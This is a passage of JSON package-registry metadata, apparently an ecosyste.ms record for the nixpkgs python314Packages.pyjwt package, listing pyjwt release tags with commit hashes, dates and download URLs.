/2.10.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.1/manifests"},{"name":"2.10.0","sha":"783f324e5d2155462515ced45718fc164dd04db2","kind":"commit","published_at":"2024-11-16T13:57:38.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.10.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.10.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.10.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.10.0/manifests"},{"name":"2.9.0","sha":"868cf4ab2ca5a0a39da40e5a14dd740b203662b2","kind":"commit","published_at":"2024-07-31T12:40:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.9.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.9.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.9.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.9.0/manifests"},{"name":"2.8.0","sha":"72ad55f6d7041ae698dc0790a690804118be50fc","kind":"commit","published_at":"2023-07-18T18:30:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.8.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.8.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.8.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.8.0/manifests"},{"name":"2.7.0","sha":"d7c54dbebdab2ae17f7948fd4432b15e1bb82852","kind":"commit","published_at":"2023-05-09T19:04:21.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.7.0/manifests"},{"name":"2.6.0","sha":"7665aa625506a11bae50b56d3e04413a3dc6fdf8","kind":"commit","published_at":"2022-10-20T01:08:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.6.0/manifests"},{"name":"2.5.0","sha":"c9006103b56359b3ad788bb2e380ef17dfe59b05","kind":"commit","published_at":"2022-09-17T13:52:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.5.0/manifests"},{"name":"2.4.0","sha":"83ff831a4d11190e3a0bed781da43f8d84352653","kind":"commit","published_at":"2022-05-12T18:51:41.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.4.0/manifests"},{"name":"2.3.0","sha":"98620ab2a396a5c887a494259d49552c2093e1ad","kind":"commit","published_at":"2021-10-16T15:46:05.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.3.0/manifests"},{"name":"2.2.0","sha":"6223ba13780a941a3f4c9dec62f282bdd9b5afb0","kind":"commit","published_at":"2021-10-06T14:03:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.2.0/manifests"},{"name":"2.1.0","sha":"79c23d7d9d32364be8f94680d8eda7135c3a15d5","kind":"commit","published_at":"2021-04-28T11:59:15.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.1.0/manifests"},{"name":"2.0.1","sha":"3993ce1d3503b58cf74699a89ba9e5c18ef9b556","kind":"commit","published_at":"2021-01-17T17:56:19.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.1/manifests"},{"name":"2.0.0","sha":"482364776109cb597af7f679161dcf9c3ef5d0ea","kind":"commit","published_at":"2020-12-22T13:37:35.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0/manifests"},{"name":"2.0.0a2","sha":"5bf8e70f26309b0a5ceda49ce0a7e97e89eee764","kind":"commit","published_at":"2020-12-20T00:02:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a2/manifests"},{"name":"2.0.0a1","sha":"8041cb607a733a9b5fffe1e9136d55a40bcea25b","kind":"commit","published_at":"2020-11-02T12:58:11.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/2.0.0a1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/2.0.0a1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@2.0.0a1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/2.0.0a1/manifests"},{"name":"1.7.1","sha":"b65e1ac6dc4d11801f3642eaab34ae6a54162c18","kind":"tag","published_at":"2018-12-07T13:40:31.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.1/manifests"},{"name":"1.7.0","sha":"3f735fdf68cc865a6241aae1fcf92a410c73fbdb","kind":"tag","published_at":"2018-12-02T03:49:29.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.7.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.7.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.7.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.7.0/manifests"},{"name":"1.6.4","sha":"d25c92ca5e9980ca7bc8b31420bf36e3f4a9e3f0","kind":"tag","published_at":"2018-05-24T02:47:12.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.4","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.4","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.4","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.4/manifests"},{"name":"1.6.3","sha":"070015d79ed5277c6d76fa8f996fb9698257afe4","kind":"tag","published_at":"2018-05-19T17:13:50.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.3/manifests"},{"name":"1.6.1","sha":"285afade1d14eb810615c5bc751ea2c6a7a3314a","kind":"tag","published_at":"2018-03-18T13:38:37.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.1/manifests"},{"name":"1.6.0","sha":"7ae1dee63dab887d39ea4ca3365e81392a1c2396","kind":"tag","published_at":"2018-03-03T16:55:02.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.6.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.6.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.6.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.6.0/manifests"},{"name":"1.5.3","sha":"72bb76cb343bb6d0f40fcd0d136898b8ba08c323","kind":"tag","published_at":"2017-09-05T18:21:44.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.3/manifests"},{"name":"1.5.2","sha":"74399b1856573d8545b8dbbcac0db29a5656979d","kind":"tag","published_at":"2017-06-22T16:31:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.2/manifests"},{"name":"1.5.1","sha":"bc966214de9852258dd00dd2efc01ce6c9a22ac6","kind":"tag","published_at":"2017-06-22T14:57:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.1/manifests"},{"name":"1.5.0","sha":"908ee84aeefb8126a94e48e88ba9916d9d2512b3","kind":"tag","published_at":"2017-04-19T14:38:28.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.5.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.5.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.5.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.5.0/manifests"},{"name":"1.4.2","sha":"b35d522135044ba10ac41e7db5b95348cb4c4707","kind":"commit","published_at":"2016-08-08T19:42:23.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.2/manifests"},{"name":"1.4.1","sha":"daf79c1d2143d969e4ba19ec0692cfac773fa6be","kind":"tag","published_at":"2016-07-13T11:23:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.1/manifests"},{"name":"1.4.0","sha":"96c029a89f6311305ff93104db49c3c377072e1d","kind":"tag","published_at":"2015-07-17T01:30:42.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.4.0/manifests"},{"name":"1.3.0","sha":"8e4ef3cb47af5f37826b3c6f1a12c5000513fa14","kind":"tag","published_at":"2015-05-22T15:51:30.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.3.0/manifests"},{"name":"1.2.0","sha":"a125433bff60c4642d267fedbc676e500272c6ae","kind":"commit","published_at":"2015-04-28T16:07:24.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.2.0/manifests"},{"name":"1.1.0","sha":"490dfd646bea97bcc7b9832e6ddf16c55260958d","kind":"tag","published_at":"2015-04-15T20:54:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.1.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.1.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.1.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.1.0/manifests"},{"name":"1.0.1","sha":"8f28b4a6124830fcea400668840e645bb91e38a2","kind":"tag","published_at":"2015-03-26T21:10:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.1/manifests"},{"name":"1.0.0","sha":"3cc2e998a84a8cd6e5a0c4e67caf038d337458d8","kind":"tag","published_at":"2015-03-18T17:10:39.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/1.0.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/1.0.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@1.0.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/1.0.0/manifests"},{"name":"0.4.3","sha":"d72c3d4821e93593031a2e188d43f503706c047e","kind":"tag","published_at":"2015-02-18T20:37:07.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.3/manifests"},{"name":"0.4.2","sha":"451004ea60fb91ad658f770de66c90ca0cd228ab","kind":"tag","published_at":"2015-02-18T19:14:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.2/manifests"},{"name":"0.4.1","sha":"016b0bf9349019ac90aa4c61c728660af003ea72","kind":"tag","published_at":"2015-01-08T16:23:48.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.1/manifests"},{"name":"0.4.0","sha":"10485f7cf7870a897a280f5d616b2026f17fa378","kind":"tag","published_at":"2014-12-23T12:15:22.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.4.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.4.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.4.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.4.0/manifests"},{"name":"0.3.2","sha":"cd32cf25f07994a2b22b47a4d6c5b71137b252bd","kind":"tag","published_at":"2014-12-13T22:27:16.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.2/manifests"},{"name":"0.3.1","sha":"139a779427fb5ca64e940fc2ea33402a80884949","kind":"tag","published_at":"2014-12-03T13:07:00.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.1","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.1","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.1","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.1/manifests"},{"name":"0.3.0","sha":"fc60927c2dc35bca29641c52a7ba1b1596f4d105","kind":"tag","published_at":"2014-10-22T05:37:54.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.3.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.3.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.3.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.3.0/manifests"},{"name":"0.2.3","sha":"739efeff4c6c1fc30ab5cf5eb0ac337e8ee107d7","kind":"tag","published_at":"2014-10-16T04:07:59.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.3","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.3","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.3","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.3/manifests"},{"name":"0.2.2","sha":"a99f4015d1f11ddc18ac8da5f6604d5b31aa125e","kind":"tag","published_at":"2014-09-23T02:40:34.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.2","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.2","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.2","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.2/manifests"},{"name":"0.2.0","sha":"257fd34acc393520fd01cfcf47bf628835ed9402","kind":"commit","published_at":"2014-03-26T00:02:10.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.2.0","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.2.0","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.2.0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.2.0/manifests"},{"name":"0.1.9","sha":"581c660108d9eabe1c061620e6b795064b0b5b8d","kind":"commit","published_at":"2014-02-08T07:12:01.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.9","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.9","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.9","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.9/manifests"},{"name":"0.1.6","sha":"2b5dd54dabe599676f3fa5b4f4c90b59856e908f","kind":"tag","published_at":"2013-08-08T18:35:32.000Z","download_url":"https://codeload.github.com/jpadilla/pyjwt/tar.gz/0.1.6","html_url":"https://github.com/jpadilla/pyjwt/releases/tag/0.1.6","dependencies_parsed_at":null,"dependency_job_id":null,"purl":"pkg:github/jpadilla/pyjwt@0.1.6","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/jpadilla%2Fpyjwt/tags/0.1.6/manifests"}]},"repo_metadata_updated_at":"2026-05-29T04:00:36.229Z","dependent_packages_count":0,"downloads":null,"downloads_period":null,"dependent_repos_count":0,"rankings":{},"purl":"pkg:nix/python314Packages.pyjwt?channel=unstable","advisories":[],"docker_usage_url":"https://docker.ecosyste.ms/usage/nixpkgs/python314Packages.pyjwt","docker_dependents_count":null,"docker_downloads_count":null,"usage_url":"https://repos.ecosyste.ms/usage/nixpkgs/python314Packages.pyjwt","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/nixpkgs/python314Packages.pyjwt/dependencies","status":null,"funding_links":["https://github.com/sponsors/